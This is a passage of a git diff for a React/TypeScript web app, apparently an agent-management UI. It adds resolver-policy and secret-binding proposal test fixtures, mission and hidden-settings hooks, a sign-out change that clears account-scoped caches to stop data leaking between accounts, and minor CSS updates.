+  overrides: Partial<IssueThreadInteractionBase>,
+): Pick<
+  IssueThreadInteractionBase,
+  | "resolverPolicy"
+  | "requestedResolverPolicy"
+  | "effectiveResolverPolicy"
+  | "resolverPolicyProvenance"
+  | "effectiveResolverPolicySource"
+  | "legacyResolverPolicyAliases"
+> {
+  const requested = overrides.requestedResolverPolicy ?? overrides.resolverPolicy ?? "anyone";
+  const effective = overrides.effectiveResolverPolicy ?? requested;
+  return {
+    resolverPolicy: requested,
+    requestedResolverPolicy: requested,
+    effectiveResolverPolicy: effective,
+    resolverPolicyProvenance:
+      overrides.resolverPolicyProvenance ?? (requested === "anyone" ? "inherited" : "explicit"),
+    effectiveResolverPolicySource:
+      overrides.effectiveResolverPolicySource ?? (effective === requested ? "requested" : "company_cap"),
+    legacyResolverPolicyAliases: overrides.legacyResolverPolicyAliases ?? {
+      requested: legacyIssueThreadInteractionResolverPolicyAlias(requested),
+      effective: legacyIssueThreadInteractionResolverPolicyAlias(effective),
+    },
+  };
+}
+
 function createComment(overrides: Partial<IssueChatComment>): IssueChatComment {
   const createdAt = overrides.createdAt ?? new Date("2026-04-20T14:00:00.000Z");
   return {
@@ -105,9 +144,7 @@ function createSuggestTasksInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    ...resolverAudienceFields(overrides),
   };
 }
 
@@ -184,9 +221,7 @@ function createAskUserQuestionsInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    ...resolverAudienceFields(overrides),
   };
 }
 
@@ -230,9 +265,7 @@ function createRequestConfirmationInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    ...resolverAudienceFields(overrides),
   };
 }
 
@@ -292,9 +325,7 @@ function createRequestCheckboxConfirmationInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    ...resolverAudienceFields(overrides),
   };
 }
 
@@ -734,6 +765,125 @@ export const expiredToolActionInteraction = createToolActionConfirmationInteract
   },
 });
 
+// ---------------------------------------------------------------------------
+// Secret-binding proposal fixtures. These mirror the server-owned
+// `payload.secretProposal` block and intentionally contain display metadata
+// only: no secret ids, values, fingerprints, or version material.
+// ---------------------------------------------------------------------------
+
+const secretProposalBase: RequestConfirmationSecretProposalPayload = {
+  version: 1,
+  proposalId: "eeeeeee5-5555-4555-8555-5555555555e5",
+  sourceSecretLabel: "OpenAI API key",
+  configPath: "access.evals_openai_api_key",
+  targetAgentId: "ffffffff-6666-4666-8666-6666666666f6",
+  targetAgentName: "EvalsEngineer",
+  justification:
+    "The evaluation runner needs the existing credential under its canonical config name.",
+  expiresAt: expiresInMinutes(14 * 24 * 60),
+};
+
+function createSecretProposalConfirmationInteraction(
+  overrides: Partial<RequestConfirmationInteraction> & {
+    secretProposal?: Partial<RequestConfirmationSecretProposalPayload>;
+  },
+): RequestConfirmationInteraction {
+  const { secretProposal: secretProposalOverrides, payload, ...rest } = overrides;
+  return createRequestConfirmationInteraction({
+    id: "interaction-secret-proposal-default",
+    title: undefined,
+    summary: "Review a proposed alias for an existing secret binding.",
+    createdByAgentId: "agent-codex",
+    resolverPolicy: "human_only",
+    requestedResolverPolicy: "human_only",
+    effectiveResolverPolicy: "human_only",
+    payload: {
+      version: 1,
+      prompt: "Approve this secret binding?",
+      acceptLabel: "Approve & bind",
+      rejectLabel: "Reject",
+      allowDeclineReason: true,
+      ...payload,
+      secretProposal: { ...secretProposalBase, ...secretProposalOverrides },
+    },
+    ...rest,
+  });
+}
+
+export const pendingSecretProposalInteraction = createSecretProposalConfirmationInteraction({
+  id: "interaction-secret-proposal-pending",
+});
+
+export const executedSecretProposalInteraction = createSecretProposalConfirmationInteraction({
+  id: "interaction-secret-proposal-executed",
+  status: "accepted",
+  resolvedByUserId: issueThreadInteractionFixtureMeta.currentUserId,
+  resolvedAt: new Date("2026-04-20T15:02:00.000Z"),
+  updatedAt: new Date("2026-04-20T15:02:03.000Z"),
+  result: {
+    version: 1,
+    outcome: "accepted",
+    secretProposal: {
+      version: 1,
+      status: "executed",
+      updatedAt: "2026-04-20T15:02:03.000Z",
+    },
+  },
+});
+
+export const failedSecretProposalInteraction = createSecretProposalConfirmationInteraction({
+  id: "interaction-secret-proposal-failed",
+  status: "accepted",
+  resolvedByUserId: issueThreadInteractionFixtureMeta.currentUserId,
+  resolvedAt: new Date("2026-04-20T15:02:00.000Z"),
+  updatedAt: new Date("2026-04-20T15:02:03.000Z"),
+  result: {
+    version: 1,
+    outcome: "accepted",
+    secretProposal: {
+      version: 1,
+      status: "failed",
+      errorCode: "binding_snapshot_stale",
+      updatedAt: "2026-04-20T15:02:03.000Z",
+    },
+  },
+});
+
+export const rejectedSecretProposalInteraction = createSecretProposalConfirmationInteraction({
+  id: "interaction-secret-proposal-rejected",
+  status: "rejected",
+  resolvedByUserId: issueThreadInteractionFixtureMeta.currentUserId,
+  resolvedAt: new Date("2026-04-20T15:02:00.000Z"),
+  updatedAt: new Date("2026-04-20T15:02:00.000Z"),
+  result: {
+    version: 1,
+    outcome: "rejected",
+    reason: "Use the project-scoped credential instead.",
+    secretProposal: {
+      version: 1,
+      status: "rejected",
+      updatedAt: "2026-04-20T15:02:00.000Z",
+    },
+  },
+});
+
+export const expiredSecretProposalInteraction = createSecretProposalConfirmationInteraction({
+  id: "interaction-secret-proposal-expired",
+  status: "expired",
+  resolvedAt: new Date("2026-05-04T15:02:00.000Z"),
+  updatedAt: new Date("2026-05-04T15:02:00.000Z"),
+  secretProposal: { expiresAt: "2026-05-04T15:02:00.000Z" },
+  result: {
+    version: 1,
+    outcome: "superseded_by_newer_request",
+    secretProposal: {
+      version: 1,
+      status: "expired",
+      updatedAt: "2026-05-04T15:02:00.000Z",
+    },
+  },
+});
+
 export const commentExpiredRequestConfirmationInteraction = createRequestConfirmationInteraction({
   id: "interaction-confirmation-expired-comment",
   status: "expired",
@@ -795,11 +945,51 @@ export const agentAddressedRequestConfirmationInteraction =
     id: "interaction-confirmation-agent-addressed",
     title: "Confirm the deploy window with the release agent",
     summary:
-      "Directed to the release agent, who is permitted to resolve this without waiting on the board.",
+      "Directed to the release agent, who owns this response without waiting on the board.",
     addresseeAgentId: "agent-codex",
-    requestedResolverPolicy: "board_or_agents",
-    resolverPolicy: "board_or_agents",
-    effectiveResolverPolicy: "board_or_agents",
+  });
+
+// --- Explicit resolver restrictions (PAP-17280) ---
+// Every card above is open by default; these four are the deliberate narrowings
+// a requester or a company must ask for, one per audience row the card renders.
+
+/** Independent review requested on purpose: the creator is excluded. */
+export const notCreatorRequestConfirmationInteraction =
+  createRequestConfirmationInteraction({
+    id: "interaction-confirmation-not-creator",
+    title: "Independent review of the migration plan",
+    summary: "Asked for a second pair of eyes, so the agent that wrote the plan cannot approve it.",
+    requestedResolverPolicy: "not_creator",
+  });
+
+/** A decision reserved for a person. */
+export const humanOnlyRequestConfirmationInteraction =
+  createRequestConfirmationInteraction({
+    id: "interaction-confirmation-human-only",
+    title: "Approve the customer-facing announcement",
+    summary: "Reserved for a human on the board because it commits the company publicly.",
+    requestedResolverPolicy: "human_only",
+  });
+
+/** Open request narrowed by company interaction governance. */
+export const companyCappedRequestConfirmationInteraction =
+  createRequestConfirmationInteraction({
+    id: "interaction-confirmation-company-capped",
+    title: "Confirm the data retention change",
+    summary: "Asked for an open audience; the company caps this kind at a human decision.",
+    requestedResolverPolicy: "anyone",
+    effectiveResolverPolicy: "human_only",
+    effectiveResolverPolicySource: "company_cap",
+  });
+
+/** Pre-migration card whose provenance cannot prove it was ever open. */
+export const legacyRestrictedRequestConfirmationInteraction =
+  createRequestConfirmationInteraction({
+    id: "interaction-confirmation-legacy-restricted",
+    title: "Confirm the archived cleanup batch",
+    summary: "Created before Anyone became the default, so it stays restricted until re-created.",
+    requestedResolverPolicy: "not_creator",
+    resolverPolicyProvenance: "legacy_inherited_restriction",
   });
 
 // Confirmation resolved by an agent under governance: exercises the
@@ -812,9 +1002,6 @@ export const agentResolvedRequestConfirmationInteraction =
     createdByAgentId: "agent-codex",
     resolvedByAgentId: "agent-codex",
     resolvedByRunId: "run-agent-resolve-1",
-    requestedResolverPolicy: "board_or_agents",
-    resolverPolicy: "board_or_agents",
-    effectiveResolverPolicy: "board_or_agents",
     resolvedAt: new Date("2026-04-20T15:05:00.000Z"),
     updatedAt: new Date("2026-04-20T15:05:00.000Z"),
     result: { version: 1, outcome: "accepted" },
@@ -845,8 +1032,11 @@ export const issueClosedRequestConfirmationInteraction =
     id: "interaction-confirmation-issue-closed",
     title: "Expired: confirm the migration cutover",
     status: "expired",
-    resolvedAt: new Date("2026-04-20T15:12:00.000Z"),
-    updatedAt: new Date("2026-04-20T15:12:00.000Z"),
+    // Local, not UTC. The expiry footer renders this in the machine's timezone,
+    // and 15:12Z on the 20th is already the 21st at UTC+9, which breaks the
+    // "Apr 20" assertion in IssueThreadInteractionCard.test.tsx.
+    resolvedAt: new Date(2026, 3, 20, 15, 12, 0, 0),
+    updatedAt: new Date(2026, 3, 20, 15, 12, 0, 0),
     result: {
       version: 1,
       outcome: "issue_closed",
@@ -1065,9 +1255,7 @@ function createRequestItemVerdictsInteraction(
     },
     result: null,
     ...overrides,
-    resolverPolicy: overrides.resolverPolicy ?? "board_only",
-    requestedResolverPolicy: overrides.requestedResolverPolicy ?? "board_only",
-    effectiveResolverPolicy: overrides.effectiveResolverPolicy ?? "board_only",
+    ...resolverAudienceFields(overrides),
   };
 }
 
diff --git a/ui/src/hooks/useCompanyMission.test.tsx b/ui/src/hooks/useCompanyMission.test.tsx
index 13d594f1e0a..460574a88eb 100644
--- a/ui/src/hooks/useCompanyMission.test.tsx
+++ b/ui/src/hooks/useCompanyMission.test.tsx
@@ -83,7 +83,12 @@ describe("useCompanyMission", () => {
     mockGoalsApi.list.mockReturnValue(new Promise(() => {}));
     render("company-1");
 
-    expect(captured).toEqual({ hasMission: undefined, settled: false });
+    expect(captured).toEqual({
+      hasMission: undefined,
+      settled: false,
+      mission: { goalId: null, goalInput: "" },
+      fetching: true,
+    });
   });
 
   it("reports a mission when the company has a company-level goal", async () => {
@@ -91,7 +96,14 @@ describe("useCompanyMission", () => {
     render("company-1");
     await settle();
 
-    expect(captured).toEqual({ hasMission: true, settled: true });
+    // The mission comes back in the shape the wizard's textarea holds, so the
+    // agent step can seed the lead agent's instructions from it.
+    expect(captured).toEqual({
+      hasMission: true,
+      settled: true,
+      mission: { goalId: "goal-1", goalInput: "Ship the thing" },
+      fetching: false,
+    });
   });
 
   it("reports no mission when the company has no company-level goal", async () => {
@@ -99,7 +111,12 @@ describe("useCompanyMission", () => {
     render("company-1");
     await settle();
 
-    expect(captured).toEqual({ hasMission: false, settled: true });
+    expect(captured).toEqual({
+      hasMission: false,
+      settled: true,
+      mission: { goalId: null, goalInput: "" },
+      fetching: false,
+    });
   });
 
   it("settles with an unknown mission when the lookup fails", async () => {
@@ -112,7 +129,12 @@ describe("useCompanyMission", () => {
     render("company-1");
     await settle();
 
-    expect(captured).toEqual({ hasMission: undefined, settled: true });
+    expect(captured).toEqual({
+      hasMission: undefined,
+      settled: true,
+      mission: { goalId: null, goalInput: "" },
+      fetching: false,
+    });
   });
 
   it("settles immediately when there is no company to ask about", () => {
@@ -120,7 +142,12 @@ describe("useCompanyMission", () => {
     // is the same failure as above, reached without a request.
     render(null);
 
-    expect(captured).toEqual({ hasMission: undefined, settled: true });
+    expect(captured).toEqual({
+      hasMission: undefined,
+      settled: true,
+      mission: { goalId: null, goalInput: "" },
+      fetching: false,
+    });
     expect(mockGoalsApi.list).not.toHaveBeenCalled();
   });
 });
diff --git a/ui/src/hooks/useCompanyMission.ts b/ui/src/hooks/useCompanyMission.ts
index ea887bc1b4f..3b37a41042b 100644
--- a/ui/src/hooks/useCompanyMission.ts
+++ b/ui/src/hooks/useCompanyMission.ts
@@ -2,6 +2,10 @@ import { useQuery } from "@tanstack/react-query";
 import { goalsApi } from "../api/goals";
 import { queryKeys } from "../lib/queryKeys";
 import { selectDefaultCompanyGoalId } from "../lib/onboarding-launch";
+import {
+  selectExistingCompanyMission,
+  type ExistingCompanyMission,
+} from "../lib/onboarding-mission";
 
 /**
  * Whether a company already has its mission, for deciding which onboarding
@@ -28,14 +32,28 @@ import { selectDefaultCompanyGoalId } from "../lib/onboarding-launch";
  * gates follow: a check that guards a convenience must never be able to block
  * the thing it guards.
  *
+ * `mission` carries the same goal back in the shape the wizard's mission
+ * textarea holds it. A company entered on the agent step never runs steps 1
+ * and 2, so that field is otherwise empty — and it is what seeds the lead
+ * agent's instructions, so an empty one costs the customer the mission they
+ * gave at signup.
+ *
+ * `fetching` is exposed separately from `settled` for the same reason the
+ * draft ownership gate distinguishes them: retained goals from a previous read
+ * are the right company's but not necessarily its current mission, so a
+ * consumer that must not act on a stale mission waits on this rather than on
+ * `settled`.
+ *
  * The goal list is read under the query key the launch path already uses, so
  * this shares that cache entry rather than adding a request.
  */
 export function useCompanyMission(companyId: string | null | undefined): {
   hasMission: boolean | undefined;
   settled: boolean;
+  mission: ExistingCompanyMission;
+  fetching: boolean;
 } {
-  const { data: goals, isPending } = useQuery({
+  const { data: goals, isPending, isFetching } = useQuery({
     queryKey: queryKeys.goals.list(companyId ?? ""),
     queryFn: () => goalsApi.list(companyId!),
     enabled: Boolean(companyId),
@@ -46,5 +64,9 @@ export function useCompanyMission(companyId: string | null | undefined): {
     // A disabled query stays pending forever, so no company means nothing to
     // wait for rather than an answer that never comes.
     settled: !companyId || !isPending,
+    mission: goals
+      ? selectExistingCompanyMission(goals)
+      : { goalId: null, goalInput: "" },
+    fetching: Boolean(companyId) && isFetching,
   };
 }
diff --git a/ui/src/hooks/useHiddenSettings.ts b/ui/src/hooks/useHiddenSettings.ts
new file mode 100644
index 00000000000..e0931a6077f
--- /dev/null
+++ b/ui/src/hooks/useHiddenSettings.ts
@@ -0,0 +1,27 @@
+import { useMemo } from "react";
+import { useQuery } from "@tanstack/react-query";
+import { healthApi } from "@/api/health";
+import { queryKeys } from "@/lib/queryKeys";
+
+/**
+ * Settings surfaces hidden by the hosting operator, from the app-wide health
+ * query cache (keys from the shared settings-visibility registry, e.g.
+ * "instance.plugins" or "instance.experimental.enableSmokeLab").
+ * CloudAccessGate owns the fetch; this observer never issues its own request.
+ *
+ * `loaded` is false until the health response is in the cache — gates should
+ * render nothing rather than flash a surface that may turn out to be hidden.
+ */
+export function useHiddenSettings(): { hidden: ReadonlySet<string>; loaded: boolean } {
+  const healthQuery = useQuery({
+    queryKey: queryKeys.health,
+    queryFn: () => healthApi.get(),
+    enabled: false,
+  });
+
+  const data = healthQuery.data;
+  return useMemo(
+    () => ({ hidden: new Set(data?.hiddenSettings ?? []), loaded: data !== undefined }),
+    [data],
+  );
+}
diff --git a/ui/src/hooks/useSignOut.test.tsx b/ui/src/hooks/useSignOut.test.tsx
index 0745ca1187e..3a292a4b5e0 100644
--- a/ui/src/hooks/useSignOut.test.tsx
+++ b/ui/src/hooks/useSignOut.test.tsx
@@ -1,11 +1,12 @@
 // @vitest-environment jsdom
 
+import { act } from "react";
 import { flushSync } from "react-dom";
 import { createRoot } from "react-dom/client";
-import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { QueryClient, QueryClientProvider, useQuery } from "@tanstack/react-query";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import { queryKeys } from "@/lib/queryKeys";
-import { useSignOut } from "./useSignOut";
+import { isAccountScopedQueryKey, useSignOut } from "./useSignOut";
 
 const mockAuthApi = vi.hoisted(() => ({ signOut: vi.fn() }));
 const mockNavigateTopLevel = vi.hoisted(() => vi.fn());
@@ -75,13 +76,22 @@ describe("useSignOut", () => {
     flushSync(() => root.unmount());
   });
 
-  it("keeps self-hosted sign-out pending until the local request finishes, then invalidates caches", async () => {
+  it("keeps self-hosted sign-out pending until the local request finishes, then clears account caches", async () => {
     let resolveSignOut: (() => void) | undefined;
     mockAuthApi.signOut.mockImplementation(() => new Promise<void>((resolve) => {
       resolveSignOut = resolve;
     }));
     queryClient.setQueryData(queryKeys.health, { status: "ok", deploymentMode: "authenticated" });
     queryClient.setQueryData(queryKeys.auth.session, { session: { id: "session-1" } });
+    queryClient.setQueryData(queryKeys.companies.all, {
+      companies: [{ id: "company-a", name: "Account A Co" }],
+      unauthorized: false,
+    });
+    queryClient.setQueryData(queryKeys.access.currentBoardAccess, {
+      isInstanceAdmin: false,
+      companyIds: ["company-a"],
+    });
+    queryClient.setQueryData(queryKeys.issues.list("company-a"), [{ id: "issue-a" }]);
     const onSignedOut = vi.fn();
     const root = renderHarness(onSignedOut);
 
@@ -97,16 +107,101 @@ describe("useSignOut", () => {
 
     expect(captured?.error).toBeNull();
     expect(onSignedOut).toHaveBeenCalledOnce();
-    expect(queryClient.getQueryState(queryKeys.auth.session)?.isInvalidated).toBe(true);
+
+    // Account-scoped entries are gone outright, not merely marked stale. An
+    // invalidated entry keeps serving its old value until a refetch succeeds,
+    // which is the leak this guards.
+    expect(queryClient.getQueryData(queryKeys.auth.session)).toBeUndefined();
+    expect(queryClient.getQueryData(queryKeys.companies.all)).toBeUndefined();
+    expect(queryClient.getQueryData(queryKeys.access.currentBoardAccess)).toBeUndefined();
+    expect(queryClient.getQueryData(queryKeys.issues.list("company-a"))).toBeUndefined();
+
+    // Health describes the instance, not the account, and several observers
+    // read it with `enabled: false`. It is refreshed in place.
+    expect(queryClient.getQueryData(queryKeys.health)).toEqual({
+      status: "ok",
+      deploymentMode: "authenticated",
+    });
     expect(queryClient.getQueryState(queryKeys.health)?.isInvalidated).toBe(true);
 
     flushSync(() => root.unmount());
   });
 
-  it("exposes a stable error without closing chrome or invalidating caches", async () => {
+  it("leaves the previous account nothing to read when the next account's refetch fails", async () => {
+    // The end-to-end shape of the leak. Account A's company list is in cache,
+    // A signs out, B signs in, and B's companies request fails.
+    // `companiesListQueryOptions` sets `retry: false`, so that single failure
+    // is final — and under `invalidateQueries` the observer would still be
+    // holding A's list, which consumers read as "this account owns these
+    // companies".
+    mockAuthApi.signOut.mockResolvedValue(undefined);
+    queryClient.setQueryData(queryKeys.health, { status: "ok", deploymentMode: "authenticated" });
+
+    const companiesQueryFn = vi
+      .fn()
+      .mockResolvedValueOnce({
+        companies: [{ id: "company-a", name: "Account A Co" }],
+        unauthorized: false,
+      })
+      .mockRejectedValue(new Error("refetch failed for the new account"));
+
+    // A live observer, standing in for CompanyProvider — which sits above the
+    // router and stays mounted across the whole sign-out/sign-in cycle, so it
+    // never gets a fresh mount to clear it.
+    let observed: unknown = "unset";
+    function CompaniesObserver() {
+      const { data } = useQuery({
+        queryKey: queryKeys.companies.all,
+        queryFn: companiesQueryFn,
+        retry: false,
+      });
+      observed = data;
+      return null;
+    }
+
+    const root = createRoot(container);
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <Harness />
+          <CompaniesObserver />
+        </QueryClientProvider>,
+      );
+    });
+
+    await act(async () => {
+      await vi.waitFor(() =>
+        expect(observed).toEqual({
+          companies: [{ id: "company-a", name: "Account A Co" }],
+          unauthorized: false,
+        }),
+      );
+    });
+
+    await act(async () => {
+      captured?.mutate();
+      // The sign-out resolves, its cache reset fires, and the refetch that
+      // reset kicks off is the one that fails.
+      await vi.waitFor(() => expect(captured?.isSuccess).toBe(true));
+      await vi.waitFor(() => expect(companiesQueryFn).toHaveBeenCalledTimes(2));
+    });
+
+    expect(queryClient.getQueryData(queryKeys.companies.all)).toBeUndefined();
+    expect(observed).toBeUndefined();
+
+    await act(async () => {
+      root.unmount();
+    });
+  });
+
+  it("exposes a stable error without closing chrome or clearing caches", async () => {
     mockAuthApi.signOut.mockRejectedValue(new Error("Sign-out request failed"));
     queryClient.setQueryData(queryKeys.health, { status: "ok", deploymentMode: "authenticated" });
     queryClient.setQueryData(queryKeys.auth.session, { session: { id: "session-1" } });
+    queryClient.setQueryData(queryKeys.companies.all, {
+      companies: [{ id: "company-a", name: "Account A Co" }],
+      unauthorized: false,
+    });
     const onSignedOut = vi.fn();
     const root = renderHarness(onSignedOut);
 
@@ -115,9 +210,62 @@ describe("useSignOut", () => {
     await vi.waitFor(() => expect(captured?.error?.message).toBe("Sign-out request failed"));
     expect(captured?.isPending).toBe(false);
     expect(onSignedOut).not.toHaveBeenCalled();
+    // The account is still signed in, so its caches must survive intact —
+    // a failed sign-out must not blank the app the user is still using.
+    expect(queryClient.getQueryData(queryKeys.auth.session)).toEqual({ session: { id: "session-1" } });
+    expect(queryClient.getQueryData(queryKeys.companies.all)).toEqual({
+      companies: [{ id: "company-a", name: "Account A Co" }],
+      unauthorized: false,
+    });
     expect(queryClient.getQueryState(queryKeys.auth.session)?.isInvalidated).toBe(false);
     expect(queryClient.getQueryState(queryKeys.health)?.isInvalidated).toBe(false);
 
     flushSync(() => root.unmount());
   });
+
+  it("leaves the Cloud cache to the document reload rather than clearing it locally", async () => {
+    // The Cloud path never reaches onSuccess's clearing branch: it hands off to
+    // a top-level navigation, and the resulting document load builds a new
+    // QueryClient from scratch. Clearing here would only blank the UI during
+    // the frames before that navigation commits.
+    queryClient.setQueryData(queryKeys.health, {
+      status: "ok",
+      cloud: {
+        managed: true,
+        managedBy: "paperclip-cloud",
+        stackSlug: "acme",
+        cloudBaseUrl: "https://cloud.example.test",
+      },
+    });
+    queryClient.setQueryData(queryKeys.companies.all, {
+      companies: [{ id: "company-a", name: "Account A Co" }],
+      unauthorized: false,
+    });
+    const root = renderHarness();
+
+    flushSync(() => captured?.mutate());
+
+    await vi.waitFor(() => expect(mockNavigateTopLevel).toHaveBeenCalledOnce());
+    expect(queryClient.getQueryData(queryKeys.companies.all)).toEqual({
+      companies: [{ id: "company-a", name: "Account A Co" }],
+      unauthorized: false,
+    });
+
+    flushSync(() => root.unmount());
+  });
+});
+
+describe("isAccountScopedQueryKey", () => {
+  it("keeps only the instance-scoped health entry", () => {
+    expect(isAccountScopedQueryKey(queryKeys.health)).toBe(false);
+  });
+
+  it("treats every other key root as account-scoped, including ones added later", () => {
+    expect(isAccountScopedQueryKey(queryKeys.companies.all)).toBe(true);
+    expect(isAccountScopedQueryKey(queryKeys.auth.session)).toBe(true);
+    expect(isAccountScopedQueryKey(queryKeys.access.currentBoardAccess)).toBe(true);
+    expect(isAccountScopedQueryKey(queryKeys.issues.list("company-a"))).toBe(true);
+    expect(isAccountScopedQueryKey(queryKeys.secrets.list("company-a"))).toBe(true);
+    expect(isAccountScopedQueryKey(["some-key-nobody-has-written-yet"])).toBe(true);
+  });
 });
diff --git a/ui/src/hooks/useSignOut.ts b/ui/src/hooks/useSignOut.ts
index 0d91d66a98f..7d54525c406 100644
--- a/ui/src/hooks/useSignOut.ts
+++ b/ui/src/hooks/useSignOut.ts
@@ -6,6 +6,27 @@ import { useCloudInstance } from "./useCloudInstance";
 
 const CLOUD_SIGN_OUT_PATH = "/cloud/logout";
 
+/**
+ * Query-key roots that describe the *instance* rather than the account that was
+ * signed in, and so are allowed to outlive a sign-out.
+ *
+ * `health` is the only one. It carries deployment mode, bootstrap state and
+ * Cloud metadata — nothing account-scoped — and `useCloudInstance` observes it
+ * with `enabled: false`, deliberately leaving the fetch to CloudAccessGate.
+ * Dropping the entry would strand every such observer on `null` until the gate
+ * happened to refetch, flipping Cloud instances into their self-hosted
+ * rendering mid-sign-out. It is refreshed in place instead.
+ *
+ * Everything *not* listed here is treated as account-scoped and cleared. That
+ * direction is the point: a query key added later is account-scoped unless
+ * someone deliberately says otherwise, so forgetting this file fails closed.
+ */
+const INSTANCE_SCOPED_QUERY_ROOTS: readonly unknown[] = [queryKeys.health[0]];
+
+export function isAccountScopedQueryKey(queryKey: readonly unknown[]): boolean {
+  return !INSTANCE_SCOPED_QUERY_ROOTS.includes(queryKey[0]);
+}
+
 interface UseSignOutOptions {
   onSignedOut?: () => void;
 }
@@ -14,8 +35,10 @@ interface UseSignOutOptions {
  * Owns the app-wide sign-out decision.
  *
  * Cloud-managed tenants must enter the harness-owned logout sequence without
- * first clearing the tenant session. Authenticated self-hosted instances keep
- * the local API flow and invalidate the auth-dependent caches afterward.
+ * first clearing the tenant session; that path is a top-level navigation, so
+ * the document reload it triggers builds a new QueryClient and there is nothing
+ * left here to clear. Authenticated self-hosted instances keep the local API
+ * flow and drop the account-scoped caches afterward.
  */
 export function useSignOut({ onSignedOut }: UseSignOutOptions = {}) {
   const cloud = useCloudInstance();
@@ -36,10 +59,55 @@ export function useSignOut({ onSignedOut }: UseSignOutOptions = {}) {
       if (target === "cloud") return;
 
       onSignedOut?.();
-      await Promise.all([
-        queryClient.invalidateQueries({ queryKey: queryKeys.auth.session }),
-        queryClient.invalidateQueries({ queryKey: queryKeys.health }),
-      ]);
+
+      // Drop every account-scoped cache entry, rather than invalidating a
+      // couple of them. `invalidateQueries` only marks an entry stale and goes
+      // on serving the old value until a refetch succeeds, and several of these
+      // queries set `retry: false`, so a single failed request is enough to
+      // leave the previous account's data readable for the whole of the *next*
+      // account's session.
+      //
+      // The company list is no longer the example: it is keyed by account, so
+      // the next account reads a different entry regardless of what happens
+      // here. Everything else still is — the board-access gate, per-company
+      // details and stats, and every account-scoped key added since — which is
+      // why this sweeps by predicate rather than naming the keys it knows.
+      //
+      // `resetQueries` rather than `removeQueries`: removal empties the cache
+      // but does not notify the observers already subscribed to those entries,
+      // so a mounted `useQuery` keeps returning its last result until some
+      // unrelated re-render happens to rebuild the query. That is not a corner
+      // case here — CompanyProvider sits above the router and stays mounted
+      // across the whole sign-out/sign-in cycle. Reset notifies them, so the
+      // old data is gone from the cache *and* from everything reading it.
+      //
+      // Measured against query-core 5.101.4 rather than reasoned about:
+      // removal produced 0 notifications and left the observer holding the
+      // signed-out account's session; reset produced 3 and null. The
+      // consequence of the former is not just stale reads — the redirect in
+      // CloudAccessGate fires on the session going empty, and it never runs.
+      //
+      // The opposite advice holds for a *local* reset of a key an observer is
+      // still mounted against. Reset rewinds the update counters
+      // `isFetchedAfterMount` derives from while that observer keeps its
+      // bind-time baseline, so the flag can never read true again and anything
+      // gated on it withholds forever. `AppsConnect` is the consumer to check
+      // against: it gates its render on that flag for two queries.
+      //
+      // Sign-out is not that case. It resets the session too, so `AppsConnect`
+      // — which sits behind a route — unmounts on the redirect and remounts
+      // with a fresh baseline.
+      //
+      // Not awaited: the refetches this kicks off are expected to 401 now that
+      // the session is gone, and the sign-out button should not sit pending
+      // while they fail.
+      void queryClient.resetQueries({
+        predicate: (query) => isAccountScopedQueryKey(query.queryKey),
+      });
+
+      // Instance-scoped, so refreshed in place rather than dropped — see
+      // INSTANCE_SCOPED_QUERY_ROOTS.
+      await queryClient.invalidateQueries({ queryKey: queryKeys.health });
     },
   });
 }
diff --git a/ui/src/index.css b/ui/src/index.css
index f8792195e3c..c2f79d6155b 100644
--- a/ui/src/index.css
+++ b/ui/src/index.css
@@ -245,6 +245,7 @@
   --motion-count-tween: var(--motion-duration-slow);
   --motion-streaming-cursor-blink: 1.1s;
   --motion-turn-fold: 380ms;            /* finished-turn activity folding into its summary line */
+  --motion-turn-meta: var(--motion-duration-fast); /* finished-turn hover metadata reveal */
   --motion-line-scroll: 240ms;          /* completed interstitial line sliding out of the 1lh live-line viewport */
   --motion-interstitial-dwell: 4000ms;  /* interstitial update hold: minimum before the next swaps in, and how long a finished update sits before sliding away */
   --motion-scroll-pill-enter: 200ms;    /* scroll-to-latest pill entry */
@@ -683,6 +684,22 @@
 .tc-turn-fold[data-folded="true"] { grid-template-rows: 0fr; opacity: 0; }
 .tc-turn-fold > * { overflow: hidden; min-height: 0; }
 
+/* Settled-turn metadata remains available on hover/focus and while expanded,
+   but its collapsed grid track consumes no width at rest. */
+.tc-turn-metrics {
+  display: grid;
+  grid-template-columns: 0fr;
+  opacity: 0;
+  transition: grid-template-columns var(--motion-turn-meta) var(--motion-ease-standard),
+    opacity var(--motion-turn-meta) var(--motion-ease-standard);
+}
+[data-testid="task-chat-turn-summary"]:hover .tc-turn-metrics,
+[data-testid="task-chat-turn-summary"]:focus-visible .tc-turn-metrics,
+.tc-turn-metrics[data-visible="true"] {
+  grid-template-columns: 1fr;
+  opacity: 1;
+}
+
 /* Properties-pane maximize/restore glide (left animates between docked and
    sidebar-flush while the pane is position:fixed). */
 .tc-pane-glide { transition: left var(--motion-pane-glide) var(--motion-ease-standard); }
@@ -698,6 +715,7 @@
   .tc-scroll-pill-out,
   .tc-enter-plan-entry { animation: none; }
   .tc-turn-fold,
+  .tc-turn-metrics,
   .tc-line-scroll-inner,
   .tc-pane-glide { transition: none; }
   /* The pill keyframes carry the X-centering; with animation:none restore it. */
@@ -1406,10 +1424,10 @@ a.paperclip-mention-chip[data-mention-kind="agent"]::before {
 .paperclip-mdxeditor-content pre {
   margin: 0.4rem 0;
   padding: 0;
-  border: 1px solid color-mix(in oklab, var(--foreground) 12%, transparent);
-  border-radius: calc(var(--radius) - 3px);
-  background: #1e1e2e;
-  color: #cdd6f4;
+  border: 1px solid var(--border);
+  border-radius: var(--radius-lg);
+  background: var(--muted);
+  color: var(--foreground);
   overflow-x: auto;
